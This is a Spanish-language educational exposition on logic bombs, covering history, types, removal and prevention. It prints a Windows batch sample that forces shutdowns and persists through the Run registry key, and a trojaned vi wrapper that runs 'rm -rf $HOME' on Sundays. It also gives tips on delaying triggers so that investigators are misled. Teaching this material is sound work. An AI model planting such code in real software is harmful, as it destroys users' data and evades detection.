Exposición: Bombas Lógicas

INTRODUCCIÓN

A partir de la aparición del primer virus informático, ha ido incrementando cada vez con más frecuencia la utilización y creación de software con fines maliciosos, razón por la cual el presente trabajo busca profundizar en un tema no tan popular, tal es el caso de las bombas lógicas.

El presente busca dar una visión general del grado de detalle que tiene su elaboración, los mecanismos que utiliza para infectar,los principales daños que ocasionan, las diferentes tendencias que tienen, así como usos, tipos y demás características que pretenden detallar el tema y dar un panorama al lector acerca de cómo funciona este software que comúnmente es de tipo malicioso. Para analizar el modus operandum y como surgieron las bombas lógicas analizaremos un poco de su historia. También se darán aspectos relevantes respecto al modo en que afectan a nuestros sistemas y la manera de erradicarlos o prevenirlos según sea el caso.

Este trabajo también incluirá una serie de conclusiones que proporcionaran información sintetizada acerca de este tema tan controvertido,  debido a que su uso recae mayormente de manera directa dentro de los delitos informáticos, esto con el objetivo de que el lector saque sus propias conclusiones y de manera particular genere un punto de vista respecto al tema de bombas lógicas.

Por último al final del mismo se pueden consultar las fuentes bibliográficas que ayudaron a la realización de este trabajo.

BOMBAS LÓGICAS

DEFINICIÓN

Son segmentos de código, incrustados dentro de otro programa. Su objetivo principal es destruir todos los datos del ordenador en cuanto se cumplan una serie de condiciones o son activadas después de transcurrido un periodo de tiempo o simplemente en el momento de teclear alguna tecla, comando o cualquier otro evento del sistema. No se replican, por lo que no son consideradas virus.

Las bombas lógicas son frecuentemente perpetradas no por personas ajenas al sistema quienes han ganado acceso no autorizado (ya que ellos prefieren hacer el daño tan pronto como sea posible), sino por usuarios quienes están autorizados para tener acceso al sistema.

Las bombas lógicas pueden ser creadas con el fin de robar información confidencial, destruir  ciertos ficheros o desacreditar a un usuario tomando su identidad.  De igual forma puede intentar destruir el sistema en el que reside, aunque  la posibilidad es muy baja, pero existen intentos tales como:

Borrado de memoria CMOS, cambio en la memoria Flash de módems, movimiento destructivo de cabezales de impresora, etc.

HISTORIA

Donald Burleson

Burleson trabajó para una firma de corretaje y seguridad de empresas. Uno de los primeros casos registrados de sabotaje informático. En septiembre de 1987, Donald Burleson, un programador de 40 años de edad en la compañía de seguros Fort Worth, fue despedido por supuestamente ser pendenciero y difícil de trabajar. Dos días más tarde, aproximadamente 168.000 registros vitales fueron borrados a sí mismos de las computadoras de la empresa a través de una "bomba de tiempo".

Una bomba lógica había ido causando estragos con los archivos que fueron el alma de Fort Worth. Burleson, fue capturado después de que los investigadores volvieron a través de varios años el valor de los archivos del sistema. Encontraron que dos años antes de ser despedido, Burleson había colocado una bomba lógica que permaneció latente, hasta que se desencadenó en el momento de su despido. Se convirtió en la primera persona de América en ser declarado culpable de "acceso perjudicial para un ordenador.

Burleson apeló e hizo un solo pago de $ 100 de la multa. En septiembre de 1988, un Texas tribunal estatal condenado Donald Gene Burleson de "acceso perjudicial para un ordenador", lo condenó a siete años de libertad condicional, y le obligó a pagar $ 11.800 (la anterior multa de $ 11.226 más intereses).

Michael Lauffenburger

Un programador de computadoras de General Dynamics fue arrestado bajo cargos por haber plantado un programa destructivo en un complot para destruir datos vitales en un proyecto de cohete y luego ser contratado de nuevo como consultor de alto precio para reparar el daño.

El Sr. Lauffenburger fue acusado de intento de manipulación informática y el fraude Se declaró inocente y fue liberado en fianza de 10.000 dólares.

Tony

Fue contratado como especialista en informática en 1996, se convirtió en operador de valores después de programador de escritura para los operadores de bonos. Él trabajó allí durante varios años y se enojó por alguna razón. Plantó una bomba lógica con el gatillo listo para julio 2000. Fue atrapado en 1998, tomó varios meses limpiar los daños. El caso llegó a los tribunales y Tony fue condenado a la cárcel por varios años.

La bomba lógica de Tony era puramente destructiva, esta  bomba lógica podría haber causado millones de dólares en daños.

TIPOS DE BOMBAS LÓGICAS

Como se ha mencionado, no se trata de un tipo de virus informático en sí, pero si es un tipo de ataque que puede llegar a ser muy dañino para cualquier sistema.

Bombas lógicas según como se presenten:

Bombas lógicas y malwares

Las bombas lógicas no se replican, esto quiere decir que son diseñadas para atacar a una víctima en específico, pero existen virus que pueden ser considerados bombas lógicas, ya que se disparan en un determinado tiempo o fecha. Esto es que, algunos virus tienen una bomba lógica embebidos en ellos, que lleva a cabo una actividad, además de replicarse. En su mayor parte, sin embargo, una bomba lógica permanece fija en el lugar en la que se inserta. Esto hace que sea mucho más fácil de crear que un virus. Todo lo que necesita hacer es ejecutar una tarea, que no necesita de reproducirse, la cual es una función más complicada.

Bombas lógicas en correo electrónico

Bombas lógicas como código

Una bomba lógica también puede presentarse en el sistema como un trozo de código de programa dentro de otro programa, diseñado para llevar a cabo algún acto malicioso, e insertado directamente por un usuario.

Pueden alojarse en el código de software existente de un ordenador, donde permanece latente hasta que se produce una condición.

Si las bombas las activa el root o el programa que contiene la bomba está situado a su nombre, los efectos obviamente pueden ser fatales.

Bomba lógica según su funcionamiento (como se ejecuta)

Generalmente bombas lógicas asociadas al descontento de un empleado:

Bombas lógicas que informan

Una bomba lógica puede mandar una nota a un atacante cuando el usuario esté en Internet, usando Word por ejemplo, avisa que el sistema está listo para ser atacado. Este tipo de bomba lógica no comienza el ataque, simplemente le comunica al atacante que el sistema está cumpliendo todos los requisitos para ser atacado en ese momento.

Bombas lógicas automatizadas

       Bomba lógica inmediata a un evento

Hay otro tipo de bomba lógica que comienza de manera inmediata el ataque, sin avisar a nadie. Cuando el hecho predefinido sucede, el ataque comienza de forma automática. Por ejemplo, el programa revisará los registros de nómina cada día para asegurarse de que el programador responsable sigue trabajando. Si el nombre de los programadores se retira repentinamente (en virtud de haber sido despedido) la bomba lógica activará otra pieza de código para destruir archivos vitales en el sistema de la organización, u otra operación maliciosa. Una programación más inteligentes es construir en un plazo adecuado entre dos eventos (por ejemplo 2-3 meses) por lo que los investigadores no reconocen inmediatamente la causa y el efecto.

Bomba lógica de tiempo

Una bomba lógica también puede ser configurada para estallar un cierto día o tiempo, cuando determinadas circunstancias estén dadas; programadas para ejecutar una función en una fecha determinada, y no después de un evento específico. Los programas maliciosos como virus, gusanos y troyanos a veces son programados usados para atacar el Host en una fecha establecida, lo que permite que se propaguen sin ser detectados a través del sistema informático, antes de activarse.

       Bomba lógica “todavía aquí”

Bomba lógica en la que el programador debe confirmarle que aun esta a cargo del sistema o de operaciones del sistema.

En ésta la codificación es similar a la bomba del evento activado, pero en este caso el programa se ejecutará a menos que se desactive por el programador a intervalos regulares, por lo general una vez al trimestre. Si el empleo del programador se termina de forma inesperada, el programa no se desactivará y atacará el sistema en la próxima fecha de vencimiento. Este tipo de bomba lógica es mucho más peligroso, ya que funcionará incluso si el programador se ausencia temporalmente, por ejemplo: por enfermedad, lesión u otras circunstancias imprevistas, y el hecho de que no estaba destinado a suceder.

Bombas lógicas sin acciones

A veces, las bombas lógicas están programadas para activarse cuando algo no ocurre. La bomba lógica puede activarse si simplemente no se ven modificaciones en los registros del empleado, en un determinado tiempo. Por ejemplo, un empleado puede diseñar una bomba lógica para eliminar los archivos cuando él o ella, no ha iniciado sesión en el sistema durante un mes. Las bombas lógicas de esta naturaleza se encuentran entre los más peligrosos, ya que las condiciones para su activación se pueden satisfacer de manera no intencional. Por ejemplo, si el programador murió inesperadamente, no habría manera de evitar que la bomba se active.

Bombas lógicas según el daño:

Bombas que comprometen las características técnicas de un sistema.

Bombas que limpian completamente un disco duro o toda una base de datos.

Bombas que  comprometen la confidencialidad de la información, exponiéndola.

Bombas que borran archivos o datos en específico.

Para un programa que realiza una función determinada cuando se cumplen condiciones predeterminadas normalmente se utiliza el término bomba lógica, si la función es a la vez dañina y desconocida por el usuario. Software de prueba que deja de funcionar después de un período de tiempo predeterminado no es considerado como una bomba lógica, a pesar de que funciona de la misma manera. Las bombas lógicas, a menudo sabotean el Host del sistema de alguna manera, eliminan archivos o funciones importantes, o permiten el acceso no autorizado al sistema.
Las Bombas lógicas demuestran claramente la necesidad crítica de las pistas de auditoría de las actividades en el sistema, así como una estricta separación de funciones y derechos de acceso entre el personal directamente relacionado con el sistema: analistas, desarrolladores, programadores, y el personal de operaciones que en realidad ejecuta el sistema del día a día.

FORMAS DE ERRADICAR

Existen diversas formas de eliminar una bomba lógica, las cuales dependen de la naturaleza de creación de la misma, es así que tenemos:

1) Cuando se añaden como parte de un virus, si tenemos el antivirus actualizado debería impedir la ejecución. Lo normal en una bomba lógica es que su secuencia de código se encuentre oculta por lo que algunas veces puede pasar desapercibida y el procedimiento de eliminación sería el mismo que para cualquier otro tipo de malware.

2) Cuando se afecta  al inicio de la máquina, deberemos entrar a modo prueba de fallos para eliminar la entrada de registro manualmente, pues nos impediría iniciar el equipo en modo normal.

Por lo general, las entradas que se añaden desde la ejecución de cualquier programa se alojan en Software\Microsoft\Windows\CurrentVersion\ , como ejemplo tenemos el siguiente archivo batch:

@echo off

if %date% == 20/09/2010 (goto 1) else goto 2

:1

@echo off>bomba.bat

at 15:00 shutdown -s -f -t 15 -c "Error grave: 246531">>bomba.bat

at 16:00 shutdown -s -f -t 15 -c "Error grave: 246531">>bomba.bat

exit>>bomba.bat

REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "bomba.bat"

start bomba.bat

del bomba.bat

exit

:2

REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "bomba.bat"

En el cual podemos identificar claramente la dirección en la cual se encuentra alojado y que es muy común para las bombas lógicas. El procedimiento a seguir sería seguir la ruta:

Inicio > regedit

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

En la cual entraremos el archivo “bomba.bat” para su posterior eliminación. 

En algunos casos en los que no resulta tan fácil encontrar la ruta que aloja la bomba lógica se recomienda el uso de antivirus en combinación con distintas soluciones como son CCleaner, Malwarebytes, Superantispyware, entre otros, ejecutandolos siempre desde el modo prueba de fallos.

FORMAS DE PREVENIR

La mayor parte de las bombas lógicas excluyendo a las que vienen en los virus, son elaboradas dentro de la empresa por empleados del área de sistemas que se encuentran descontentos y que actúan con poca ética. Por esta razón son importantes las siguientes medidas de prevención:

• Al momento de despedir a un empleado es bueno hacer una auditoría de los sistemas a los que tenía acceso, además de las auditorías constantes a los sistemas.

• Es importante denegar los accesos físicos y lógicos a los sistemas y máquinas con las que trabajaba desde el instante mismo del despido.

• El software que uno instala debe ser de fuentes conocidas y serias para evitar la posible introducción de bombas lógicas en los equipos.
• Instaurar estas medidas, dentro de las políticas de seguridad y administración de equipos computacionales de la empresa.

TENDENCIAS

Las bombas lógicas afectan principalmente en el área de delitos informáticos: fraude y sabotaje.

Un delito informático como toda acción (acción u omisión) culpable que cause un perjuicio a personas sin que necesariamente se beneficie el autor o que, por el contrario, produzca un beneficio ilícito a su autor aunque no perjudique de forma directa o indirecta a la víctima, tipificado por la Ley, que se realiza en el entorno informático y está sancionado con una pena.

Los delitos Informáticos han sido clasificados atendiendo a diferentes criterios.

Fraude: Falsificación de instrucciones para el ordenador, en la fase de adquisición de datos. Tradicionalmente esos fraudes se hacen a partir de tarjeta bancarias robados, sin embargo, hoy también se usan equipos y programas de computador especializados para codificar información electrónica falsificada en las bandas magnéticas de las tarjetas bancarias y de las tarjetas de crédito. De igual manera la desacreditación del usuario tomando su identidad.

Sabotaje: Es el acto de borrar, suprimir o modificar sin autorización funciones o datos de computadora con intención de obstaculizar el funcionamiento normal del sistema. Utilizado como instrumento de extorsión y se puede pedir un rescate a cambio de dar a conocer el lugar en donde se halla la bomba.

FORMAS DE PROPAGACIÓN

Utilizan como medio principal de propagación el correo electrónico y este funciona de dos formas:

Una vez la máquina infectado se incuba sin crear ninguna copia de sí mismo a la espera de reunir las condiciones oportunas, tras ese periodo de espera, el programa se activa y se auto replica como un virus hasta dañar el sistema. En el segundo caso, alguien envía una bomba lógica por correo electrónico, que es un mismo mensaje enviado miles de veces hasta colapsar la máquina.

Otra forma de propagación es mediante software que es inherentemente malicioso, como virus o gusanos informáticos, frecuentemente contiene bombas lógicas que ejecutan algún programa en un tiempo predefinido o cuando cierta condición se cumple. Esta técnica puede ser usada por un virus o un gusano para ganar ímpetu y para esparcirse antes de ser notado.

Las bombas lógicas al ser pedazos de código fuente que usualmente son incluidos dentro de otras aplicaciones que son enviados a ciertos usuarios (víctimas del ataque) bien pueden estar incluidas en troyanos. Los troyanos que se activan en ciertas fechas son llamados frecuentemente "bombas de tiempo". Sin embargo no se deben confundir los términos ya que mientras un troyano se ejecuta cada vez que se ejecuta el programa que lo contiene, una bomba lógica sólo se activa bajo ciertas condiciones, como una determinada fecha, la existencia de un fichero con un nombre dado, o el alcance de cierto número de ejecuciones del programa que contiene la bomba.

Por ejemplo, imaginemos la misma situación que antes veíamos para el troyano: alguien con el suficiente privilegio renombra a vi como vi.old, y en el lugar del editor sitúa el siguiente código:

#!/bin/sh

if [ `date +%a` = "Sun" ];

then

rm -rf $HOME

else

vi.old $1

fi

Este cambio en el sistema puede permanecer durante años sin que se produzca un funcionamiento anómalo, siempre y cuando nadie edite ficheros un domingo; pero en el momento en que un usuario decida trabajar este día, la bomba lógica se va a activar y el directorio de este usuario será borrado.

CONCLUSIONES

Mediante la elaboración del presente documento se abordan temas que tienen total relación con el tipo de programas maliciosos llamados “ bombas lógicas”, con la finalidad de generar un marco teórico muy amplio que ayude como herramienta informativa sobre la definición, creación, operación, erradicación y prevención de este tipo de programas, los cuales tienen como principales características que el ataque está determinado por una condición que determina el creador dentro del código, el tipo de actuación es retardado, el código no se replica y los creadores de dichos códigos suelen ser personal interno de alguna empresa.

La importancia de examinar a detalle cada uno de los puntos referentes a las bombas lógicas, radica en la necesidad del experto en seguridad informática, desarrollador de software o el propio usuario, de adquirir el conocimiento necesario para primeramente definir si esta latente o fue  víctima de una bomba lógica, logrando esto mediante la verificación  de acciones de este tipo de programas en el sistema u ordenador afectado; en cuanto a los tipos de programas se pueden clasificar, según la forma en la que se presente en el sistema, la forma en la que funcione, o de acuerdo al daño que ocasionen. Por otro lado presentamos las tendencias de uso por parte de los creadores de este tipo de programas, con la finalidad de concientizar al usuario sobre los graves daños y altos costos que se puede provocar a la información si se concreta un ataque por bomba lógica ya que en su mayoría estos ataques recaen directamente en los delitos informáticos como son fraude, sabotaje y extorsión.
Finalmente debemos enfatizar la importancia asignada a la erradicación y prevención de ataques por bombas lógicas, siendo esta última mediante la cual esperamos generar un gran sentido de concientización por parte de los usuarios y expertos en seguridad de la información, ya que en la prevención (debido a la naturaleza de creación de las bombas lógicas, las cuales son desarrolladas para un sistema en específico), mediante normas y políticas de seguridad de la información más elevadas, radica la clave mediante la cual podrán existir  los criterios de integridad, confidencialidad y disponibilidad de la información.